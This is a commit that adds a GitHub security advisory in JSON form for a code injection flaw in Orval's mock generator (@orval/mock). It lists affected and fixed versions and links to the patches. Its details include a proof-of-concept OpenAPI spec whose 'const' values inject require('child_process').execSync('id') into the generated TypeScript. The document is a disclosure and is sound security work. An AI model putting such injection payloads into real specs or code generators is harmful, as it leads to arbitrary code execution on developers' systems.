Skip to content

Commit 9186ee9

Browse files
1 parent 3474c99 commit 9186ee9

1 file changed

Lines changed: 106 additions & 0 deletions

File tree

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-f456-rf33-4626",
4+
"modified": "2026-01-22T18:09:13Z",
5+
"published": "2026-01-22T18:09:13Z",
6+
"aliases": [],
7+
"summary": "Orval Mock Generation Code Injection via const",
8+
"details": "I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.\n\n```yaml\nopenapi: 3.1.0\ninfo:\n title: Mock Const Injection PoC\n version: 1.0.0\npaths:\n /test:\n get:\n operationId: getTests\n responses:\n '200':\n description: OK\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/Tests'\ncomponents:\n schemas:\n Tests:\n type: object\n properties:\n EvilString:\n type: string\n const: \"'); require('child_process').execSync('id'); //\"\n EvilNumber:\n type: number\n const: \"0); require('child_process').execSync('id'); //\"\n SafeEnum:\n type: string\n enum: [\"test\"]\n\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@orval/mock"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "7.20.0"
30+
}
31+
]
32+
}
33+
]
34+
},
35+
{
36+
"package": {
37+
"ecosystem": "npm",
38+
"name": "@orval/mock"
39+
},
40+
"ranges": [
41+
{
42+
"type": "ECOSYSTEM",
43+
"events": [
44+
{
45+
"introduced": "8.0.0-rc.0"
46+
},
47+
{
48+
"fixed": "8.0.3"
49+
}
50+
]
51+
}
52+
]
53+
}
54+
],
55+
"references": [
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/orval-labs/orval/security/advisories/GHSA-f456-rf33-4626"
59+
},
60+
{
61+
"type": "WEB",
62+
"url": "https://github.com/orval-labs/orval/pull/2828"
63+
},
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/orval-labs/orval/pull/2829"
67+
},
68+
{
69+
"type": "WEB",
70+
"url": "https://github.com/orval-labs/orval/pull/2830"
71+
},
72+
{
73+
"type": "WEB",
74+
"url": "https://github.com/orval-labs/orval/commit/44ca8c1f5f930a3e4cefb6b79b38bcde7f8532a5"
75+
},
76+
{
77+
"type": "WEB",
78+
"url": "https://github.com/orval-labs/orval/commit/6d8ece07ccb80693ad43edabccb3957aceadcd06"
79+
},
80+
{
81+
"type": "WEB",
82+
"url": "https://github.com/orval-labs/orval/commit/9b211cddc9f009f8a671e4ac5c6cb72cd8646b62"
83+
},
84+
{
85+
"type": "PACKAGE",
86+
"url": "https://github.com/orval-labs/orval"
87+
},
88+
{
89+
"type": "WEB",
90+
"url": "https://github.com/orval-labs/orval/releases/tag/v7.20.0"
91+
},
92+
{
93+
"type": "WEB",
94+
"url": "https://github.com/orval-labs/orval/releases/tag/v8.0.3"
95+
}
96+
],
97+
"database_specific": {
98+
"cwe_ids": [
99+
"CWE-77"
100+
],
101+
"severity": "HIGH",
102+
"github_reviewed": true,
103+
"github_reviewed_at": "2026-01-22T18:09:13Z",
104+
"nvd_published_at": null
105+
}
106+
}

0 commit comments

Comments
 (0)